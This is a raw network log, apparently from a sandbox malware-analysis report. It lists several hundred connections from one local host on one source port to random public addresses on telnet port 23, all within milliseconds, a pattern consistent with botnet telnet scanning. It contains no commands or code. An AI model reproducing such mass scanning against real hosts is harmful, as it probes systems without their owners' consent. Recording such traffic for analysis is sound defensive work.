Nov 23, 2023 05:14:51.608263969 CET	55738	23	192.168.2.13	164.4.189.106
Nov 23, 2023 05:14:51.608282089 CET	55738	23	192.168.2.13	220.48.216.47
Nov 23, 2023 05:14:51.608282089 CET	55738	23	192.168.2.13	158.115.164.30
Nov 23, 2023 05:14:51.608284950 CET	55738	23	192.168.2.13	8.25.25.98
Nov 23, 2023 05:14:51.608306885 CET	55738	23	192.168.2.13	206.53.65.114
Nov 23, 2023 05:14:51.608306885 CET	55738	23	192.168.2.13	24.210.237.73
Nov 23, 2023 05:14:51.608309984 CET	55738	23	192.168.2.13	249.106.164.222
Nov 23, 2023 05:14:51.608339071 CET	55738	23	192.168.2.13	46.66.194.65
Nov 23, 2023 05:14:51.608341932 CET	55738	23	192.168.2.13	221.253.113.135
Nov 23, 2023 05:14:51.608355045 CET	55738	23	192.168.2.13	117.151.86.139
Nov 23, 2023 05:14:51.608355045 CET	55738	23	192.168.2.13	251.200.66.133
Nov 23, 2023 05:14:51.608375072 CET	55738	23	192.168.2.13	77.95.70.209
Nov 23, 2023 05:14:51.608393908 CET	55738	23	192.168.2.13	5.180.185.204
Nov 23, 2023 05:14:51.608393908 CET	55738	23	192.168.2.13	217.28.190.101
Nov 23, 2023 05:14:51.608393908 CET	55738	23	192.168.2.13	105.128.97.240
Nov 23, 2023 05:14:51.608395100 CET	55738	23	192.168.2.13	148.22.85.239
Nov 23, 2023 05:14:51.608417034 CET	55738	23	192.168.2.13	59.218.79.204
Nov 23, 2023 05:14:51.608418941 CET	55738	23	192.168.2.13	149.51.79.9
Nov 23, 2023 05:14:51.608418941 CET	55738	23	192.168.2.13	210.45.107.185
Nov 23, 2023 05:14:51.608428001 CET	55738	23	192.168.2.13	102.181.153.176
Nov 23, 2023 05:14:51.608442068 CET	55738	23	192.168.2.13	13.89.192.12
Nov 23, 2023 05:14:51.608443975 CET	55738	23	192.168.2.13	94.161.17.193
Nov 23, 2023 05:14:51.608458996 CET	55738	23	192.168.2.13	117.8.144.193
Nov 23, 2023 05:14:51.608458996 CET	55738	23	192.168.2.13	155.127.22.111
Nov 23, 2023 05:14:51.608475924 CET	55738	23	192.168.2.13	157.119.251.166
Nov 23, 2023 05:14:51.608479023 CET	55738	23	192.168.2.13	208.32.41.80
Nov 23, 2023 05:14:51.608481884 CET	55738	23	192.168.2.13	97.18.52.116
Nov 23, 2023 05:14:51.608489990 CET	55738	23	192.168.2.13	34.165.163.252
Nov 23, 2023 05:14:51.608509064 CET	55738	23	192.168.2.13	100.12.55.113
Nov 23, 2023 05:14:51.608511925 CET	55738	23	192.168.2.13	241.237.22.250
Nov 23, 2023 05:14:51.608515024 CET	55738	23	192.168.2.13	204.167.241.139
Nov 23, 2023 05:14:51.608515024 CET	55738	23	192.168.2.13	60.156.159.240
Nov 23, 2023 05:14:51.608530045 CET	55738	23	192.168.2.13	71.144.155.97
Nov 23, 2023 05:14:51.608537912 CET	55738	23	192.168.2.13	116.139.86.140
Nov 23, 2023 05:14:51.608551025 CET	55738	23	192.168.2.13	182.152.55.154
Nov 23, 2023 05:14:51.608556032 CET	55738	23	192.168.2.13	196.156.59.131
Nov 23, 2023 05:14:51.608567953 CET	55738	23	192.168.2.13	76.218.175.27
Nov 23, 2023 05:14:51.608573914 CET	55738	23	192.168.2.13	102.190.130.138
Nov 23, 2023 05:14:51.608573914 CET	55738	23	192.168.2.13	182.202.63.10
Nov 23, 2023 05:14:51.608588934 CET	55738	23	192.168.2.13	170.55.47.70
Nov 23, 2023 05:14:51.608589888 CET	55738	23	192.168.2.13	12.47.196.229
Nov 23, 2023 05:14:51.608597040 CET	55738	23	192.168.2.13	73.153.228.13
Nov 23, 2023 05:14:51.608608007 CET	55738	23	192.168.2.13	120.190.143.112
Nov 23, 2023 05:14:51.608628988 CET	55738	23	192.168.2.13	43.6.29.30
Nov 23, 2023 05:14:51.608628988 CET	55738	23	192.168.2.13	194.3.213.87
Nov 23, 2023 05:14:51.608628988 CET	55738	23	192.168.2.13	252.66.227.186
Nov 23, 2023 05:14:51.608640909 CET	55738	23	192.168.2.13	102.239.93.63
Nov 23, 2023 05:14:51.608649969 CET	55738	23	192.168.2.13	182.181.73.179
Nov 23, 2023 05:14:51.608650923 CET	55738	23	192.168.2.13	209.17.125.26
Nov 23, 2023 05:14:51.608666897 CET	55738	23	192.168.2.13	68.206.242.213
Nov 23, 2023 05:14:51.608678102 CET	55738	23	192.168.2.13	101.85.157.216
Nov 23, 2023 05:14:51.608690977 CET	55738	23	192.168.2.13	201.78.93.156
Nov 23, 2023 05:14:51.608691931 CET	55738	23	192.168.2.13	183.110.41.155
Nov 23, 2023 05:14:51.608697891 CET	55738	23	192.168.2.13	141.32.106.100
Nov 23, 2023 05:14:51.608702898 CET	55738	23	192.168.2.13	195.212.51.45
Nov 23, 2023 05:14:51.608715057 CET	55738	23	192.168.2.13	84.183.211.87
Nov 23, 2023 05:14:51.608733892 CET	55738	23	192.168.2.13	81.176.69.227
Nov 23, 2023 05:14:51.608733892 CET	55738	23	192.168.2.13	41.205.153.142
Nov 23, 2023 05:14:51.608737946 CET	55738	23	192.168.2.13	135.49.166.15
Nov 23, 2023 05:14:51.608748913 CET	55738	23	192.168.2.13	94.58.220.95
Nov 23, 2023 05:14:51.608752966 CET	55738	23	192.168.2.13	58.191.239.222
Nov 23, 2023 05:14:51.608757973 CET	55738	23	192.168.2.13	125.233.236.33
Nov 23, 2023 05:14:51.608761072 CET	55738	23	192.168.2.13	218.58.10.186
Nov 23, 2023 05:14:51.608774900 CET	55738	23	192.168.2.13	83.81.92.178
Nov 23, 2023 05:14:51.608778000 CET	55738	23	192.168.2.13	17.136.173.230
Nov 23, 2023 05:14:51.608787060 CET	55738	23	192.168.2.13	221.132.63.22
Nov 23, 2023 05:14:51.608808041 CET	55738	23	192.168.2.13	1.105.186.36
Nov 23, 2023 05:14:51.608808041 CET	55738	23	192.168.2.13	166.154.72.55
Nov 23, 2023 05:14:51.608808041 CET	55738	23	192.168.2.13	102.59.230.68
Nov 23, 2023 05:14:51.608808041 CET	55738	23	192.168.2.13	151.91.227.148
Nov 23, 2023 05:14:51.608808994 CET	55738	23	192.168.2.13	59.76.206.145
Nov 23, 2023 05:14:51.608827114 CET	55738	23	192.168.2.13	38.169.184.124
Nov 23, 2023 05:14:51.608828068 CET	55738	23	192.168.2.13	44.247.195.3
Nov 23, 2023 05:14:51.608834028 CET	55738	23	192.168.2.13	174.191.152.1
Nov 23, 2023 05:14:51.608841896 CET	55738	23	192.168.2.13	209.155.8.251
Nov 23, 2023 05:14:51.608860970 CET	55738	23	192.168.2.13	254.126.71.1
Nov 23, 2023 05:14:51.608861923 CET	55738	23	192.168.2.13	186.87.49.25
Nov 23, 2023 05:14:51.608865976 CET	55738	23	192.168.2.13	105.221.201.114
Nov 23, 2023 05:14:51.608880997 CET	55738	23	192.168.2.13	184.169.217.131
Nov 23, 2023 05:14:51.608889103 CET	55738	23	192.168.2.13	57.70.98.234
Nov 23, 2023 05:14:51.608894110 CET	55738	23	192.168.2.13	68.41.239.140
Nov 23, 2023 05:14:51.608911037 CET	55738	23	192.168.2.13	177.91.52.1
Nov 23, 2023 05:14:51.608911037 CET	55738	23	192.168.2.13	96.54.185.167
Nov 23, 2023 05:14:51.608937025 CET	55738	23	192.168.2.13	165.55.198.132
Nov 23, 2023 05:14:51.608937979 CET	55738	23	192.168.2.13	165.115.156.181
Nov 23, 2023 05:14:51.608937979 CET	55738	23	192.168.2.13	175.254.115.173
Nov 23, 2023 05:14:51.608937979 CET	55738	23	192.168.2.13	41.129.167.1
Nov 23, 2023 05:14:51.608951092 CET	55738	23	192.168.2.13	27.99.146.199
Nov 23, 2023 05:14:51.608952999 CET	55738	23	192.168.2.13	126.254.169.43
Nov 23, 2023 05:14:51.608967066 CET	55738	23	192.168.2.13	68.208.123.185
Nov 23, 2023 05:14:51.608971119 CET	55738	23	192.168.2.13	122.47.103.31
Nov 23, 2023 05:14:51.608978033 CET	55738	23	192.168.2.13	178.5.124.186
Nov 23, 2023 05:14:51.608990908 CET	55738	23	192.168.2.13	35.118.12.44
Nov 23, 2023 05:14:51.608999014 CET	55738	23	192.168.2.13	203.51.149.187
Nov 23, 2023 05:14:51.609011889 CET	55738	23	192.168.2.13	24.70.69.58
Nov 23, 2023 05:14:51.609014034 CET	55738	23	192.168.2.13	178.40.158.92
Nov 23, 2023 05:14:51.609014034 CET	55738	23	192.168.2.13	213.183.231.154
Nov 23, 2023 05:14:51.609035969 CET	55738	23	192.168.2.13	133.222.84.233
Nov 23, 2023 05:14:51.609035969 CET	55738	23	192.168.2.13	71.5.96.162
Nov 23, 2023 05:14:51.609035969 CET	55738	23	192.168.2.13	196.222.65.157
Nov 23, 2023 05:14:51.609040976 CET	55738	23	192.168.2.13	168.55.179.247
Nov 23, 2023 05:14:51.609050035 CET	55738	23	192.168.2.13	176.38.197.168
Nov 23, 2023 05:14:51.609061003 CET	55738	23	192.168.2.13	118.219.245.197
Nov 23, 2023 05:14:51.609065056 CET	55738	23	192.168.2.13	222.0.77.36
Nov 23, 2023 05:14:51.609080076 CET	55738	23	192.168.2.13	36.99.199.149
Nov 23, 2023 05:14:51.609081984 CET	55738	23	192.168.2.13	178.197.168.158
Nov 23, 2023 05:14:51.609085083 CET	55738	23	192.168.2.13	185.121.122.223
Nov 23, 2023 05:14:51.609102011 CET	55738	23	192.168.2.13	181.84.199.132
Nov 23, 2023 05:14:51.609106064 CET	55738	23	192.168.2.13	159.25.7.174
Nov 23, 2023 05:14:51.609110117 CET	55738	23	192.168.2.13	63.82.93.178
Nov 23, 2023 05:14:51.609117985 CET	55738	23	192.168.2.13	86.115.138.102
Nov 23, 2023 05:14:51.609117985 CET	55738	23	192.168.2.13	142.131.223.25
Nov 23, 2023 05:14:51.609126091 CET	55738	23	192.168.2.13	161.229.115.67
Nov 23, 2023 05:14:51.609138012 CET	55738	23	192.168.2.13	84.137.105.184
Nov 23, 2023 05:14:51.609139919 CET	55738	23	192.168.2.13	196.123.189.163
Nov 23, 2023 05:14:51.609152079 CET	55738	23	192.168.2.13	148.28.145.119
Nov 23, 2023 05:14:51.609168053 CET	55738	23	192.168.2.13	213.114.126.161
Nov 23, 2023 05:14:51.609173059 CET	55738	23	192.168.2.13	246.202.93.25
Nov 23, 2023 05:14:51.609174967 CET	55738	23	192.168.2.13	41.107.161.24
Nov 23, 2023 05:14:51.609189987 CET	55738	23	192.168.2.13	60.40.170.235
Nov 23, 2023 05:14:51.609190941 CET	55738	23	192.168.2.13	42.1.73.104
Nov 23, 2023 05:14:51.609201908 CET	55738	23	192.168.2.13	170.51.48.116
Nov 23, 2023 05:14:51.609206915 CET	55738	23	192.168.2.13	92.82.53.57
Nov 23, 2023 05:14:51.609214067 CET	55738	23	192.168.2.13	67.48.134.10
Nov 23, 2023 05:14:51.609224081 CET	55738	23	192.168.2.13	244.78.84.42
Nov 23, 2023 05:14:51.609236956 CET	55738	23	192.168.2.13	59.248.167.42
Nov 23, 2023 05:14:51.609236956 CET	55738	23	192.168.2.13	156.223.182.25
Nov 23, 2023 05:14:51.609240055 CET	55738	23	192.168.2.13	82.115.27.232
Nov 23, 2023 05:14:51.609250069 CET	55738	23	192.168.2.13	112.11.172.62
Nov 23, 2023 05:14:51.609255075 CET	55738	23	192.168.2.13	86.143.39.186
Nov 23, 2023 05:14:51.609267950 CET	55738	23	192.168.2.13	92.190.192.53
Nov 23, 2023 05:14:51.609282017 CET	55738	23	192.168.2.13	126.255.78.149
Nov 23, 2023 05:14:51.609302044 CET	55738	23	192.168.2.13	143.31.126.128
Nov 23, 2023 05:14:51.609302044 CET	55738	23	192.168.2.13	158.85.251.142
Nov 23, 2023 05:14:51.609304905 CET	55738	23	192.168.2.13	124.229.85.191
Nov 23, 2023 05:14:51.609309912 CET	55738	23	192.168.2.13	157.105.238.245
Nov 23, 2023 05:14:51.609309912 CET	55738	23	192.168.2.13	210.233.55.86
Nov 23, 2023 05:14:51.609314919 CET	55738	23	192.168.2.13	169.21.79.29
Nov 23, 2023 05:14:51.609317064 CET	55738	23	192.168.2.13	184.20.223.126
Nov 23, 2023 05:14:51.609324932 CET	55738	23	192.168.2.13	147.14.180.176
Nov 23, 2023 05:14:51.609333038 CET	55738	23	192.168.2.13	166.231.34.155
Nov 23, 2023 05:14:51.609352112 CET	55738	23	192.168.2.13	120.33.134.60
Nov 23, 2023 05:14:51.609359026 CET	55738	23	192.168.2.13	130.245.61.28
Nov 23, 2023 05:14:51.609360933 CET	55738	23	192.168.2.13	153.228.71.15
Nov 23, 2023 05:14:51.609365940 CET	55738	23	192.168.2.13	147.140.174.35
Nov 23, 2023 05:14:51.609368086 CET	55738	23	192.168.2.13	207.133.129.68
Nov 23, 2023 05:14:51.609370947 CET	55738	23	192.168.2.13	76.214.114.17
Nov 23, 2023 05:14:51.609373093 CET	55738	23	192.168.2.13	213.3.175.164
Nov 23, 2023 05:14:51.609389067 CET	55738	23	192.168.2.13	118.18.65.74
Nov 23, 2023 05:14:51.609389067 CET	55738	23	192.168.2.13	204.136.81.168
Nov 23, 2023 05:14:51.609389067 CET	55738	23	192.168.2.13	4.252.211.111
Nov 23, 2023 05:14:51.609405994 CET	55738	23	192.168.2.13	48.178.88.105
Nov 23, 2023 05:14:51.609409094 CET	55738	23	192.168.2.13	4.40.83.86
Nov 23, 2023 05:14:51.609421968 CET	55738	23	192.168.2.13	13.156.165.183
Nov 23, 2023 05:14:51.609428883 CET	55738	23	192.168.2.13	149.95.118.209
Nov 23, 2023 05:14:51.609437943 CET	55738	23	192.168.2.13	39.183.193.96
Nov 23, 2023 05:14:51.609447002 CET	55738	23	192.168.2.13	1.19.106.183
Nov 23, 2023 05:14:51.609453917 CET	55738	23	192.168.2.13	159.199.174.217
Nov 23, 2023 05:14:51.609469891 CET	55738	23	192.168.2.13	103.255.80.241
Nov 23, 2023 05:14:51.609469891 CET	55738	23	192.168.2.13	36.35.118.125
Nov 23, 2023 05:14:51.609472990 CET	55738	23	192.168.2.13	253.247.142.51
Nov 23, 2023 05:14:51.609488010 CET	55738	23	192.168.2.13	72.188.183.177
Nov 23, 2023 05:14:51.609494925 CET	55738	23	192.168.2.13	83.28.224.69
Nov 23, 2023 05:14:51.609505892 CET	55738	23	192.168.2.13	152.13.81.146
Nov 23, 2023 05:14:51.609509945 CET	55738	23	192.168.2.13	170.54.99.167
Nov 23, 2023 05:14:51.609524965 CET	55738	23	192.168.2.13	9.34.106.248
Nov 23, 2023 05:14:51.609527111 CET	55738	23	192.168.2.13	67.161.50.122
Nov 23, 2023 05:14:51.609530926 CET	55738	23	192.168.2.13	16.60.174.72
Nov 23, 2023 05:14:51.609538078 CET	55738	23	192.168.2.13	71.132.127.179
Nov 23, 2023 05:14:51.609548092 CET	55738	23	192.168.2.13	124.45.40.209
Nov 23, 2023 05:14:51.609548092 CET	55738	23	192.168.2.13	121.88.255.130
Nov 23, 2023 05:14:51.609561920 CET	55738	23	192.168.2.13	64.254.172.143
Nov 23, 2023 05:14:51.609575987 CET	55738	23	192.168.2.13	105.219.76.79
Nov 23, 2023 05:14:51.609577894 CET	55738	23	192.168.2.13	40.71.70.176
Nov 23, 2023 05:14:51.609587908 CET	55738	23	192.168.2.13	68.92.10.207
Nov 23, 2023 05:14:51.609599113 CET	55738	23	192.168.2.13	154.9.65.4
Nov 23, 2023 05:14:51.609599113 CET	55738	23	192.168.2.13	133.219.103.22
Nov 23, 2023 05:14:51.609603882 CET	55738	23	192.168.2.13	96.77.127.127
Nov 23, 2023 05:14:51.609613895 CET	55738	23	192.168.2.13	133.94.196.125
Nov 23, 2023 05:14:51.609613895 CET	55738	23	192.168.2.13	46.62.195.76
Nov 23, 2023 05:14:51.609622002 CET	55738	23	192.168.2.13	251.4.244.254
Nov 23, 2023 05:14:51.609622002 CET	55738	23	192.168.2.13	209.122.2.28
Nov 23, 2023 05:14:51.609623909 CET	55738	23	192.168.2.13	67.92.59.138
Nov 23, 2023 05:14:51.609642982 CET	55738	23	192.168.2.13	110.70.107.131
Nov 23, 2023 05:14:51.609658003 CET	55738	23	192.168.2.13	176.92.157.144
Nov 23, 2023 05:14:51.609658003 CET	55738	23	192.168.2.13	117.67.161.149
Nov 23, 2023 05:14:51.609659910 CET	55738	23	192.168.2.13	124.245.55.22
Nov 23, 2023 05:14:51.609668016 CET	55738	23	192.168.2.13	9.60.39.148
Nov 23, 2023 05:14:51.609674931 CET	55738	23	192.168.2.13	248.149.134.251
Nov 23, 2023 05:14:51.609678984 CET	55738	23	192.168.2.13	146.182.94.132
Nov 23, 2023 05:14:51.609692097 CET	55738	23	192.168.2.13	156.129.226.179
Nov 23, 2023 05:14:51.609692097 CET	55738	23	192.168.2.13	213.84.153.79
Nov 23, 2023 05:14:51.609707117 CET	55738	23	192.168.2.13	99.238.231.58
Nov 23, 2023 05:14:51.609711885 CET	55738	23	192.168.2.13	240.116.246.183
Nov 23, 2023 05:14:51.609711885 CET	55738	23	192.168.2.13	190.30.182.92
Nov 23, 2023 05:14:51.609739065 CET	55738	23	192.168.2.13	162.163.249.40
Nov 23, 2023 05:14:51.609743118 CET	55738	23	192.168.2.13	160.32.27.2
Nov 23, 2023 05:14:51.609756947 CET	55738	23	192.168.2.13	204.30.231.81
Nov 23, 2023 05:14:51.609762907 CET	55738	23	192.168.2.13	107.40.150.67
Nov 23, 2023 05:14:51.609775066 CET	55738	23	192.168.2.13	148.20.98.54
Nov 23, 2023 05:14:51.609777927 CET	55738	23	192.168.2.13	198.143.223.177
Nov 23, 2023 05:14:51.609785080 CET	55738	23	192.168.2.13	164.143.238.148
Nov 23, 2023 05:14:51.609796047 CET	55738	23	192.168.2.13	181.10.153.62
Nov 23, 2023 05:14:51.609808922 CET	55738	23	192.168.2.13	187.107.68.42
Nov 23, 2023 05:14:51.609812975 CET	55738	23	192.168.2.13	44.14.76.170
Nov 23, 2023 05:14:51.609828949 CET	55738	23	192.168.2.13	150.28.149.172
Nov 23, 2023 05:14:51.609832048 CET	55738	23	192.168.2.13	154.19.55.74
Nov 23, 2023 05:14:51.609839916 CET	55738	23	192.168.2.13	95.153.94.198
Nov 23, 2023 05:14:51.609847069 CET	55738	23	192.168.2.13	206.247.195.182
Nov 23, 2023 05:14:51.609859943 CET	55738	23	192.168.2.13	179.17.133.140
Nov 23, 2023 05:14:51.609859943 CET	55738	23	192.168.2.13	141.243.222.128
Nov 23, 2023 05:14:51.609895945 CET	55738	23	192.168.2.13	248.218.198.211
Nov 23, 2023 05:14:51.609898090 CET	55738	23	192.168.2.13	147.218.217.132
Nov 23, 2023 05:14:51.609909058 CET	55738	23	192.168.2.13	45.212.139.64
Nov 23, 2023 05:14:51.609913111 CET	55738	23	192.168.2.13	39.63.17.48
Nov 23, 2023 05:14:51.609913111 CET	55738	23	192.168.2.13	253.39.44.40
Nov 23, 2023 05:14:51.609929085 CET	55738	23	192.168.2.13	87.37.231.202
Nov 23, 2023 05:14:51.609930992 CET	55738	23	192.168.2.13	111.141.235.112
Nov 23, 2023 05:14:51.609950066 CET	55738	23	192.168.2.13	75.240.155.217
Nov 23, 2023 05:14:51.609950066 CET	55738	23	192.168.2.13	248.93.151.216
Nov 23, 2023 05:14:51.609950066 CET	55738	23	192.168.2.13	123.42.45.151
Nov 23, 2023 05:14:51.609967947 CET	55738	23	192.168.2.13	194.159.134.70
Nov 23, 2023 05:14:51.609967947 CET	55738	23	192.168.2.13	114.160.232.73
Nov 23, 2023 05:14:51.609977007 CET	55738	23	192.168.2.13	4.161.242.10
Nov 23, 2023 05:14:51.609977961 CET	55738	23	192.168.2.13	196.119.198.18
Nov 23, 2023 05:14:51.609983921 CET	55738	23	192.168.2.13	162.39.103.149
Nov 23, 2023 05:14:51.609993935 CET	55738	23	192.168.2.13	62.107.94.25
Nov 23, 2023 05:14:51.609997034 CET	55738	23	192.168.2.13	41.255.93.59
Nov 23, 2023 05:14:51.609997988 CET	55738	23	192.168.2.13	183.137.89.173
Nov 23, 2023 05:14:51.610007048 CET	55738	23	192.168.2.13	102.134.167.248
Nov 23, 2023 05:14:51.610016108 CET	55738	23	192.168.2.13	38.135.121.8
Nov 23, 2023 05:14:51.610017061 CET	55738	23	192.168.2.13	84.157.243.208
Nov 23, 2023 05:14:51.610025883 CET	55738	23	192.168.2.13	167.79.151.132
Nov 23, 2023 05:14:51.610028028 CET	55738	23	192.168.2.13	203.28.128.193
Nov 23, 2023 05:14:51.610035896 CET	55738	23	192.168.2.13	150.24.27.34
Nov 23, 2023 05:14:51.610049963 CET	55738	23	192.168.2.13	62.213.156.167
Nov 23, 2023 05:14:51.610055923 CET	55738	23	192.168.2.13	40.22.79.72
Nov 23, 2023 05:14:51.610071898 CET	55738	23	192.168.2.13	249.101.208.68
Nov 23, 2023 05:14:51.610071898 CET	55738	23	192.168.2.13	73.255.128.228
Nov 23, 2023 05:14:51.610083103 CET	55738	23	192.168.2.13	164.207.69.104
Nov 23, 2023 05:14:51.610084057 CET	55738	23	192.168.2.13	53.24.96.165
Nov 23, 2023 05:14:51.610101938 CET	55738	23	192.168.2.13	208.134.183.142
Nov 23, 2023 05:14:51.610111952 CET	55738	23	192.168.2.13	171.152.27.243
Nov 23, 2023 05:14:51.610130072 CET	55738	23	192.168.2.13	41.188.116.71
Nov 23, 2023 05:14:51.610140085 CET	55738	23	192.168.2.13	152.218.235.78
Nov 23, 2023 05:14:51.610148907 CET	55738	23	192.168.2.13	182.74.179.95
Nov 23, 2023 05:14:51.610157967 CET	55738	23	192.168.2.13	200.146.63.6
Nov 23, 2023 05:14:51.610177994 CET	55738	23	192.168.2.13	159.115.38.233
Nov 23, 2023 05:14:51.610184908 CET	55738	23	192.168.2.13	103.111.215.16
Nov 23, 2023 05:14:51.610188961 CET	55738	23	192.168.2.13	252.62.160.206
Nov 23, 2023 05:14:51.610193014 CET	55738	23	192.168.2.13	17.204.229.128
Nov 23, 2023 05:14:51.610197067 CET	55738	23	192.168.2.13	122.47.155.237
Nov 23, 2023 05:14:51.610214949 CET	55738	23	192.168.2.13	251.42.2.114
Nov 23, 2023 05:14:51.610219955 CET	55738	23	192.168.2.13	158.116.4.130
Nov 23, 2023 05:14:51.610234022 CET	55738	23	192.168.2.13	5.253.222.255
Nov 23, 2023 05:14:51.610235929 CET	55738	23	192.168.2.13	247.60.63.236
Nov 23, 2023 05:14:51.610235929 CET	55738	23	192.168.2.13	34.108.51.105
Nov 23, 2023 05:14:51.610243082 CET	55738	23	192.168.2.13	196.123.65.190
Nov 23, 2023 05:14:51.610248089 CET	55738	23	192.168.2.13	210.238.126.77
Nov 23, 2023 05:14:51.610260963 CET	55738	23	192.168.2.13	37.109.30.205
Nov 23, 2023 05:14:51.610261917 CET	55738	23	192.168.2.13	136.124.23.178
Nov 23, 2023 05:14:51.610265970 CET	55738	23	192.168.2.13	27.125.244.46
Nov 23, 2023 05:14:51.610269070 CET	55738	23	192.168.2.13	16.191.173.7
Nov 23, 2023 05:14:51.610282898 CET	55738	23	192.168.2.13	71.67.70.175
Nov 23, 2023 05:14:51.610284090 CET	55738	23	192.168.2.13	123.118.210.216
Nov 23, 2023 05:14:51.610286951 CET	55738	23	192.168.2.13	17.171.180.163
Nov 23, 2023 05:14:51.610300064 CET	55738	23	192.168.2.13	17.138.67.246
Nov 23, 2023 05:14:51.610300064 CET	55738	23	192.168.2.13	86.225.50.37
Nov 23, 2023 05:14:51.610312939 CET	55738	23	192.168.2.13	106.68.132.191
Nov 23, 2023 05:14:51.610328913 CET	55738	23	192.168.2.13	145.196.208.178
Nov 23, 2023 05:14:51.610332012 CET	55738	23	192.168.2.13	157.241.129.2
Nov 23, 2023 05:14:51.610338926 CET	55738	23	192.168.2.13	206.215.118.195
Nov 23, 2023 05:14:51.610352993 CET	55738	23	192.168.2.13	111.192.215.134
Nov 23, 2023 05:14:51.610359907 CET	55738	23	192.168.2.13	213.73.95.183
Nov 23, 2023 05:14:51.610366106 CET	55738	23	192.168.2.13	72.57.244.41
Nov 23, 2023 05:14:51.610374928 CET	55738	23	192.168.2.13	99.248.176.139
Nov 23, 2023 05:14:51.610383987 CET	55738	23	192.168.2.13	173.202.92.217
Nov 23, 2023 05:14:51.610384941 CET	55738	23	192.168.2.13	249.133.156.130
Nov 23, 2023 05:14:51.610388041 CET	55738	23	192.168.2.13	181.156.127.40
Nov 23, 2023 05:14:51.610397100 CET	55738	23	192.168.2.13	170.244.192.18
Nov 23, 2023 05:14:51.610400915 CET	55738	23	192.168.2.13	2.31.51.152
Nov 23, 2023 05:14:51.610408068 CET	55738	23	192.168.2.13	19.165.121.240
Nov 23, 2023 05:14:51.610423088 CET	55738	23	192.168.2.13	179.238.214.99
Nov 23, 2023 05:14:51.610430002 CET	55738	23	192.168.2.13	207.251.147.61
Nov 23, 2023 05:14:51.610430002 CET	55738	23	192.168.2.13	169.47.138.163
Nov 23, 2023 05:14:51.610444069 CET	55738	23	192.168.2.13	101.9.191.183
Nov 23, 2023 05:14:51.610447884 CET	55738	23	192.168.2.13	161.160.244.100
Nov 23, 2023 05:14:51.610450029 CET	55738	23	192.168.2.13	220.144.154.132
Nov 23, 2023 05:14:51.610460043 CET	55738	23	192.168.2.13	64.11.104.10
Nov 23, 2023 05:14:51.610465050 CET	55738	23	192.168.2.13	111.51.127.219
Nov 23, 2023 05:14:51.610466003 CET	55738	23	192.168.2.13	89.121.153.16
Nov 23, 2023 05:14:51.610485077 CET	55738	23	192.168.2.13	179.12.245.176
Nov 23, 2023 05:14:51.610496998 CET	55738	23	192.168.2.13	92.86.44.59
Nov 23, 2023 05:14:51.610512018 CET	55738	23	192.168.2.13	1.90.194.17
Nov 23, 2023 05:14:51.610512018 CET	55738	23	192.168.2.13	105.209.104.241
Nov 23, 2023 05:14:51.610527992 CET	55738	23	192.168.2.13	87.134.176.184
Nov 23, 2023 05:14:51.610527992 CET	55738	23	192.168.2.13	43.30.184.49
Nov 23, 2023 05:14:51.610528946 CET	55738	23	192.168.2.13	133.100.192.145
Nov 23, 2023 05:14:51.610528946 CET	55738	23	192.168.2.13	125.40.44.243
Nov 23, 2023 05:14:51.610528946 CET	55738	23	192.168.2.13	102.31.121.234
Nov 23, 2023 05:14:51.610548973 CET	55738	23	192.168.2.13	91.124.24.250
Nov 23, 2023 05:14:51.610552073 CET	55738	23	192.168.2.13	252.81.216.219
Nov 23, 2023 05:14:51.610558987 CET	55738	23	192.168.2.13	171.137.79.158
Nov 23, 2023 05:14:51.610569954 CET	55738	23	192.168.2.13	43.224.213.153
Nov 23, 2023 05:14:51.610579967 CET	55738	23	192.168.2.13	53.81.101.186
Nov 23, 2023 05:14:51.610579967 CET	55738	23	192.168.2.13	99.160.247.212
Nov 23, 2023 05:14:51.610605955 CET	55738	23	192.168.2.13	210.111.26.127
Nov 23, 2023 05:14:51.610611916 CET	55738	23	192.168.2.13	69.100.219.213
Nov 23, 2023 05:14:51.610620022 CET	55738	23	192.168.2.13	203.219.90.191
Nov 23, 2023 05:14:51.610636950 CET	55738	23	192.168.2.13	98.139.186.228
Nov 23, 2023 05:14:51.610639095 CET	55738	23	192.168.2.13	124.248.80.12
Nov 23, 2023 05:14:51.610639095 CET	55738	23	192.168.2.13	66.50.61.19
Nov 23, 2023 05:14:51.610640049 CET	55738	23	192.168.2.13	151.104.102.18
Nov 23, 2023 05:14:51.610644102 CET	55738	23	192.168.2.13	31.41.114.124
Nov 23, 2023 05:14:51.610645056 CET	55738	23	192.168.2.13	135.230.110.199
Nov 23, 2023 05:14:51.610657930 CET	55738	23	192.168.2.13	142.45.72.0
Nov 23, 2023 05:14:51.610661030 CET	55738	23	192.168.2.13	217.191.29.99
Nov 23, 2023 05:14:51.610665083 CET	55738	23	192.168.2.13	209.41.129.135
Nov 23, 2023 05:14:51.610685110 CET	55738	23	192.168.2.13	223.119.146.49
Nov 23, 2023 05:14:51.610692024 CET	55738	23	192.168.2.13	133.207.184.43
Nov 23, 2023 05:14:51.610693932 CET	55738	23	192.168.2.13	139.214.19.226
Nov 23, 2023 05:14:51.610693932 CET	55738	23	192.168.2.13	122.97.44.255
Nov 23, 2023 05:14:51.610693932 CET	55738	23	192.168.2.13	147.158.13.53
Nov 23, 2023 05:14:51.610697031 CET	55738	23	192.168.2.13	88.43.93.70
Nov 23, 2023 05:14:51.610722065 CET	55738	23	192.168.2.13	66.199.115.88
Nov 23, 2023 05:14:51.610733032 CET	55738	23	192.168.2.13	243.138.63.253
Nov 23, 2023 05:14:51.610733032 CET	55738	23	192.168.2.13	194.7.237.21
Nov 23, 2023 05:14:51.610744953 CET	55738	23	192.168.2.13	110.151.55.1
Nov 23, 2023 05:14:51.610749006 CET	55738	23	192.168.2.13	178.54.110.6
Nov 23, 2023 05:14:51.610752106 CET	55738	23	192.168.2.13	44.107.37.187
Nov 23, 2023 05:14:51.610755920 CET	55738	23	192.168.2.13	20.225.209.241
Nov 23, 2023 05:14:51.610769033 CET	55738	23	192.168.2.13	80.162.131.204
Nov 23, 2023 05:14:51.610769033 CET	55738	23	192.168.2.13	153.64.148.250
Nov 23, 2023 05:14:51.610779047 CET	55738	23	192.168.2.13	98.178.79.63
Nov 23, 2023 05:14:51.610785961 CET	55738	23	192.168.2.13	175.9.173.101
Nov 23, 2023 05:14:51.610785961 CET	55738	23	192.168.2.13	171.223.14.177
Nov 23, 2023 05:14:51.610801935 CET	55738	23	192.168.2.13	69.205.240.0
Nov 23, 2023 05:14:51.610801935 CET	55738	23	192.168.2.13	77.127.135.76
Nov 23, 2023 05:14:51.610810041 CET	55738	23	192.168.2.13	170.117.136.45
Nov 23, 2023 05:14:51.610814095 CET	55738	23	192.168.2.13	43.220.242.73
